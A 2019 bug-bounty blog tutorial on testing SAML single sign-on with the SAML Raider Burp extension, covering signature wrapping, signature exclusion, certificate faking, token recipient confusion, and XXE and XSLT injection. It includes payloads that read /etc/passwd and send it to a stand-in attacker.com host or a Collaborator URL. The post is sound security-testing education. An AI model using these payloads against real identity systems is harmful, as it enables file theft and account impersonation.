Blog


How to Hunt Bugs in SAML; a Methodology - Part II

Apr 24, 2019 | 17 minutes read

Tags: bug bounty, saml, methodology, xsw, how to, saml raider, xxe, xslt, sso

This post is the second in a series about How to Hunt Bugs in Security Assertion Markup Language (SAML). This post examines SAML vulnerabilities as well as how to test for those vulnerabilities using SAML Raider, a BurpSuite plugin. If you found your way here without a basic understanding of SAML and XML Signatures, feel free to check out Part I, where we cover the basics.

SAML Raider

The first order of business is to take a look at SAML Raider. SAML Raider is a robust SAML testing tool that adds to Burp Suite’s already impressive capabilities. SAML Raider’s creators, Roland Bischofberger and Emanuel Duss, describe the extension as a Burp Suite extension for testing SAML infrastructures. It contains two core functionalities: the ability to manipulate SAML Messages along with an X.509 certificate management system.

Throughout this post, we’ll use SAML Raider to demonstrate how to test each vulnerability. We’ll begin with installation.

If you’re already familiar with how to use SAML Raider, please feel free to skip ahead to XML Signature Wrapping

Install SAML Raider

Installation is incredibly simple.

  • Open up Burp Suite and click on the Extender tab
  • Click on the BApp Store sub-tab
  • Scroll down and click SAML Raider from the list of extensions
  • Click the Install button

burp-install-samlraider

When the installation is complete, we’ll see a new tab titled SAML Raider Certificates.

samlraider-tab

The tab mentioned above is where SAML Raider performs certificate management, which we’ll explore next.

X.509 Certificate Manager

The certificate manager built into SAML Raider is pretty rad. It allows us to perform the following actions:

  • Import and Export X.509 certificates
  • Display X.509 certificate information
  • Import and Export private keys
  • Clone X.509 certificates and certificate chains
  • Edit and self-sign existing X.509 certificates

Let’s take a moment and test out some of these capabilities.

First, we’ll need an X.509 cert. We can generate one pretty quickly using openssl. After running the command below, we can just hit enter through the prompts to accept the default options.

openssl req -x509 -newkey rsa:4096 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
═══════════════════════════════════════════════════════════════════════════════════════════

Generating a 4096 bit RSA private key
...........++
...........................................................................................................................++
writing new private key to '/tmp/key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Now that we have a cert let’s import it into SAML Raider by following the steps depicted below.

import-cert1

With that done, we see an imported certificate in the top pane and all the pertinent information about the cert in the bottom pane. Exporting is just as simple as importing so we won’t spend any time on its demonstration. Let’s instead look at cloning and editing.

Cloning a cert is very simple. All we need to do is highlight the cert we’d like to clone and click the Clone button on the left-hand side of the upper pane. Once complete, we have both the imported cert and a nearly exact copy of the original. The only two things that differ between the original and the clone are the Modulus and the Signature. We can verify this (if we want to) by first Exporting the cloned certificate then running the diff command below to see that only those two fields differ.

diff <(openssl x509 -in /tmp/cloned-cert.pem -text -noout) <(openssl x509 -in /tmp/cert.pem -text -noout)

Instead of cloning, we could alter fields of the cert to our liking then click Save and Self-Sign. The self-signing operation functions similarly to Clone with the caveat that the new cert incorporates the specified changes. The process to do this is outlined below.

self-sign1

After the process completes, we have a cert that is good for the next 1000 years. The ability to manage certificates comes into play while executing some of the attacks discussed below.

SAML Message Editor

In addition to the Certificate Manager, SAML Raider provides the ability to manipulate SAML messages on the fly. In this section, we’ll take a look at intercepting requests and what to do with them once we’ve intercepted them.

The creators of SAML Raider bundled a handy script to do some light testing of the extension. We’ll use the script to generate a SAML Response which we can examine and manipulate in burp.

First, we need the script. Even though we already installed SAML Raider through burp, the script we need is in the repo. It’s simplest to clone the repo and delete it all when our testing is complete.

git clone https://github.com/SAMLRaider/SAMLRaider.git

After cloning the repo, we can go to the scripts directory.

cd SAMLRaider/scripts/samltest

After that, with burp running and intercept on, we can run samltest.

./samltest

If burp was on and intercepting, we’ll see a SAML Response waiting for us in burp.

samltest

Once intercepted, we can view the SAML Response in the SAML Raider tab.

samltest-raider

Let’s try tampering with some data. We’ll scroll to the bottom of the SAML Response and find the bowser@saml.lan value contained in the AttributeValue tag.

bowser

After that, we’ll change bowser to mario.

mario

With our change in place, we’ll Forward on the Response. Once it’s forwarded, we see it come back to our listener the samltest script started earlier. The script prints out the XML and we can see mario@saml.lan.

 1...
 2<AttributeStatement>
 3  <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
 4    <AttributeValue>bowser@saml.lan</AttributeValue>
 5  </Attribute>
 6  <Attribute Name="http://schemas.xmlsoap.org/claims/Group">
 7    <AttributeValue>Domänen-Benutzer</AttributeValue>
 8  </Attribute>
 9  <Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
10    <AttributeValue>mario@saml.lan</AttributeValue>
11  </Attribute>
12</AttributeStatement>
13...

When editing SAML Messages, Ctrl+Z doesn’t work to undo mistakes. There is a Reset Message button that restores the SAML Message to its original value.

There are a few things we haven’t covered yet that we’ll outline as part of some of the attack scenarios below.

SAML Repeater

The last item of note is that SAML Raider adds a tab to burp’s Repeater tab as well. Manipulating SAML Messages in the Repeater tab is incredibly useful for iterating over multiple changes to the same Message.

repeater

XML Signature Wrapping

The first attack we’ll look at is XML Signature Wrapping (XSW). There is an excellent whitepaper that outlines the attack in great detail. Coincidentally, the same paper is the basis for the SAML Raider plugin. If you want more information than this post provides, the whitepaper is an excellent resource.

The basic premise behind XSW is that XML documents containing XML Signatures may be processed in two separate steps: once for the validation of the digital signature, and once for the real application that uses the XML data. Consider the following two steps and the methods used to arrive at a single XML element:

XML Signature Validation

  • The application locates the <ds:Signature>’s <ds:Reference> element
  • The application uses the <ds:Reference>’s URI attribute to determine which XML element is signed
  • The application (in)validates the signed XML element

After validation, the same application attempts to use the signed data as part of its normal operation.

  • The application’s XML parser locates its desired XML element using top-down tree-based navigation

Typically, both methods should arrive at the same XML element, but in the event of signature wrapping, an attacker moves the signed contents to a different location and replaces it with an attacker-controlled XML element that doesn’t invalidate the XML document in the hopes that the XML parser finds the attacker-controlled element instead of the validated element.

Now that we know the fundamental concept behind XSW let’s look at the different methods of performing XSW. Each of the XML Signature Wrapping Attacks covered below directly align with the eight attacks packaged into SAML Raider. Knowing that, we’ll take a look at how the attack works and how to perform the attack using SAML Raider.

A (Very) Brief Review

Before we begin, let’s review the simplified structure of an unmodified SAML Response. The key components here are the Response and its ID, the Signature and its Reference’s URI attribute, and the Subject of the Assertion.

 1<?xml version="1.0" encoding="UTF-8"?>
 2<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
 3  <saml:Issuer>...</saml:Issuer>
 4  <ds:Signature ...>
 5    <ds:SignedInfo>
 6      <ds:CanonicalizationMethod .../>
 7      <ds:SignatureMethod .../>
 8      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
 9    </ds:SignedInfo>
10    <ds:SignatureValue>...</ds:SignatureValue>
11    <ds:KeyInfo>...</ds:KeyInfo>
12  </ds:Signature>
13  <samlp:Status>...</samlp:Status>
14  <saml:Assertion ...>
15    <saml:Issuer>...</saml:Issuer>
16    <ds:Signature ... >...</ds:Signature>
17    <saml:Subject>
18      <saml:NameID ...>...</saml:NameID>
19      <saml:SubjectConfirmation ...>
20        <saml:SubjectConfirmationData .../>
21      </saml:SubjectConfirmation>
22    </saml:Subject>
23    <saml:Conditions ...>...</saml:Conditions>
24    <saml:AuthnStatement ...>...</saml:AuthnStatement>
25    <saml:AttributeStatement>...</saml:AttributeStatement>
26  </saml:Assertion>
27</samlp:Response>

Recall that we receive the SAML Response from the Identity Provider (IdP) as it travels back to the Service Provider (SP) (step #6 in the flow chart below).

saml-flow

XML Signature Wrapping Attack #1

XSW #1 manipulates SAML Responses. It does this by making a copy of the SAML Response and Assertion, then inserting the original Signature into the XML as a child element of the copied Response. The assumption being that the XML parser finds and uses the copied Response at the top of the document after signature validation instead of the original signed Response.

xsw-original

xsw-1

XML Signature Wrapping Attack #2

Similar to XSW #1, XSW #2 manipulates SAML Responses. XSW #1 and XSW #2 are the only two that deal with Responses. The key difference between #1 and #2 is that the type of Signature used is a detached signature where XSW #1 used an enveloping signature. The location of the malicious Response remains the same.

xsw-2

XML Signature Wrapping Attack #3

XSW #3 is the first example of an XSW that wraps the Assertion element. SAML Raider inserts the copied Assertion as the first child of the root Response element. The original Assertion is a sibling of the copied Assertion.

xsw-3

XML Signature Wrapping Attack #4

XSW #4 is similar to #3, except in this case the original Assertion becomes a child of the copied Assertion.

xsw-4

XML Signature Wrapping Attack #5

XSW #5 is the first instance of Assertion wrapping we see where the Signature and the original Assertion aren’t in one of the three standard configurations (enveloped/enveloping/detached). In this case, the copied Assertion envelopes the Signature.

xsw-5

XML Signature Wrapping Attack #6

XSW #6 inserts its copied Assertion into the same location as #’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion.

xsw-6

XML Signature Wrapping Attack #7

XSW #7 inserts an Extensions element and adds the copied Assertion as a child. Extensions is a valid XML element with a less restrictive schema definition. The authors of this white paper developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure.

xsw-7

XML Signature Wrapping Attack #8

XSW #8 uses another less restrictive XML element to perform a variation of the attack pattern used in XSW #7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion.

xsw-8

XML Signature Wrapping How-To

SAML Raider makes it pretty easy to perform signature wrapping attacks. The first step is to intercept a SAML Message. Let’s make things easier with an Intercept rule. Start by going to the Proxy tab followed by the Options sub-tab. After that create or edit a rule with parameters that match those below.

intercept-rule

With the rule in place, we can begin Intercepting, and we’ll only catch http requests that contain a SAMLResponse parameter.

Once we’ve intercepted the SAML Response, we’ll send the request to burp’s Repeater by either pressing Ctrl+r or right-clicking the request and using the context menu to click Send to Repeater.

To perform more than one XSW attack, we’ll need to hang on to the original request. Under certain conditions, the SAML Raider tab in Repeater is unable to restore a SAML Response that has been tampered with back to its original state using the Reset Message button. That’s why we’ll save the original in the Proxy and keep sending the original over to Repeater.

Once we have our request in Repeater, we can open up the SAML Raider tab.

repeater-xsw

Once there, it’s a simple matter to apply one of the XSW attacks using the dropdown in the SAML Raider tab.

xsw-repeater-3

After we apply the signature wrapping attack, we can click Go to send the altered SAML Response.

If we want to attempt other XSW attacks, we need to resend the original message to Repeater. Then apply the next XSW attack we’d like to attempt. We do this to ensure that the base message remains consistent and that there aren’t remnants of previous attacks left behind when we perform additional attacks.

If any of the applicable XSWs result in access to the Service Provider, log out and repeat the process. Using the XSW that worked, try tampering with any of the attributes that look like possible parameters for user identification (i.e., change user1 to admin, etc.).

XML Signature Exclusion

Signature Exclusion is a breeze having covered XML Signature Wrapping. Signature Exclusion is used to test how the SAML implementation behaves when there is no Signature element. When a Signature element is absent the signature validation step may get skipped entirely. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker.

signature-exclusion

XML Signature Exclusion How-To

Signature exclusion begins with intercepting the SAML Response then clicking Remove Signatures. In doing so all Signature elements are removed.

sig-exclusion

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service Provider, try tampering with any of the attributes that look like possible parameters for user identification (i.e., change user1 to admin, etc.).

XML eXternal Entity via SAML

The mechanics of testing for XML eXternal Entity (XXE) injection is beyond the scope of this post. However, the fact that an existing XXE vulnerability can be triggered via SAML is definitely something worth talking about. Due to the fact that SAML Responses are deflated and base64’d XML documents, we can test for XXE by manipulating the XML document sent as the SAML Response.

Given a valid SAML Response, an XXE PoC can be inserted at the top of the XML for a quick and simple test.

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY	file SYSTEM "file:///etc/passwd">
   <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
  <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
  <saml:Issuer>...</saml:Issuer>
  <ds:Signature ...>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod .../>
      <ds:SignatureMethod .../>
      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
    <ds:KeyInfo>...</ds:KeyInfo>
  </ds:Signature>
  <samlp:Status>...</samlp:Status>
  <saml:Assertion ...>
    <saml:Issuer>...</saml:Issuer>
    <ds:Signature ... >...</ds:Signature>
    <saml:Subject>
      <saml:NameID ...>...</saml:NameID>
      <saml:SubjectConfirmation ...>
        <saml:SubjectConfirmationData .../>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions ...>...</saml:Conditions>
    <saml:AuthnStatement ...>...</saml:AuthnStatement>
    <saml:AttributeStatement>...</saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

XXE via SAML How-To

Just like the other attacks, we begin by intercepting the SAML Response. Next, we’ll use Burp Collaborator to generate a URL we can use to test if the server attempts any DNS lookups or dials out to the server. If you don’t have a burp pro license, a VPS is probably the simplest solution to test for XXE. In the (unlikely?) event that you have a pro license but aren’t familiar with Collaborator, please see the documentation for a great explanation of how to use Collaborator.

Click on the dropdown menu titled Burp in the upper left of the main burp window. On the menu itself, click Burp Collaborator client.

collab-menu

We’ll have a collaborator window like the one pictured below after completing the steps above.

collab

We’ll need to click Copy to clipboard to get a URL similar to 1qsg2yhdfz4np3uerviimk3hk8qyen.burpcollaborator.net for testing. Next, we’ll build a payload.

<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY    file SYSTEM "file:///etc/passwd">
  <!ENTITY dtd SYSTEM "1qsg2yhdfz4np3uerviimk3hk8qyen.burpcollaborator.net/text.dtd" >]>

Finally, we insert the payload into the SAML Response we intercepted earlier and then let it ride over to the Service Provider. If the server is vulnerable, we’ll see some lines appear in the Collaborator window after at most 60 seconds. If we want to check sooner, we can either use the Poll now button or set the poll interval to less than 60.

collab-hit

Extensible Stylesheet Language Transformation via SAML

Extensible Stylesheet Language Transformation (XSLT) is a Turing-complete language for transforming XML documents into other document types such as HTML, JSON, or PDF. An important aspect to note here is that the attack doesn’t require a valid signature to succeed. The reason for this is that the XSLT transformation occurs before the digital signature is processed for verification. Basically, we need a signed SAML Response to perform the attack, but the signature can be self-signed or invalid.

The attack utilizes an XSLT payload inserted as a Transform element nested inside a Signature element (shown below).

xslt

Here is an example XSLT payload. A google search can yield more of these if necessary.

Special thanks to @mindfuckup for spotting an error in the payload below!

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>

Extensible Stylesheet Language Transformation via SAML How-To

XSLT starts out just like XXE via SAML. We intercept the SAML Response and generate a burp Collaborator URL for use in our payload. After that, we generate a payload. We’ll stick with the payload outlined above. However, there are many variations on XSLT payloads and some resources for payloads are discussed in part III of this series.

<ds:Transform>
  <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="doc">
      <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
      <xsl:variable name="escaped" select="encode-for-uri($file)"/>
      <xsl:variable name="attackerUrl" select="'http://1qsg2yhdfz4np3uerviimk3hk8qyen.burpcollaborator.net/'"/>
      <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
      <xsl:value-of select="unparsed-text($exploitUrl)"/>
    </xsl:template>
  </xsl:stylesheet>
</ds:Transform>

Once we have the intercepted request and the payload with our Collaborator URL in place, all that’s left is to insert the Transform element into the Transforms element as a child node.

...
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
  <ds:Transforms>
    ... Payload goes here ...
  </ds:Transforms>
</ds:Signature>
...

Certificate Faking

Certificate faking is the process of testing whether or not the Service Provider verifies that a trusted Identity Provider signed the SAML Message. The trust relationship between SP and IdP is established and should be verified each time a SAML Message is received. What this comes down to is using a self-signed certificate to sign the SAML Response or Assertion.

Certificate Faking How-To

To fake a certificate, begin by intercepting the SAML Response.

If there is a Signature included in the Response, use the Send Certificate to SAML Raider Certs button.

send-cert

After sending the certificate, we should see an imported certificate in the SAML Raider Certificates tab. Once there, we highlight the imported cert and press the Save and Self-Sign button.

sent-cert

Doing so generates a self-signed clone of the original certificate. Now it’s time to move back to the intercepted request still held in burp’s Proxy. First, select the new self-signed cert from the XML Signature dropdown menu. Then use the Remove Signatures button to remove any existing signatures. Finally, use the (Re-)Sign Message or (Re-)Sign Assertion button (whichever is most appropriate in your given situation).

remove-sig

After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider.

Token Recipient Confusion

Token Recipient Confusion tests whether or not the Service Provider validates the Recipient. The Recipient field is an attribute of the SubjectConfirmationData element, which is a child of the Subject element in a SAML Response.

The SubjectConfirmationData element specifies additional data that allows the subject to be confirmed or constrains the circumstances under which the act of subject confirmation can take place. Subject confirmation takes place when a relying party seeks to verify the relationship between an entity presenting the assertion (that is, the attesting entity) and the subject of the assertion’s claims.

The Recipient attribute found on the SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted.

Token Recipient Confusion How-To

SAML Token Recipient Confusion (SAML-TRC) has a few prequisite conditions in order for us to attempt exploitation. First, we need to have a legitimate account on a Service Provider. Let the SP we can access legitimately be SP-Legit and let the target SP be SP-Target. Second, SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit.

If we meet both of the conditions above, we can attempt SAML-TRC.

The attack is relatively simple if the conditions are true. We authenticate to SP-Legit via the shared Identity Provider. We then intercept the SAML Response on its way from the IdP to SP-Legit. Once intercepted, we send the SAML Response that was intended for SP-Legit to SP-Target instead. If SP-Target accepts the Assertion; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources.

Additional Resources

  1. SAML Raider

comments powered by Disqus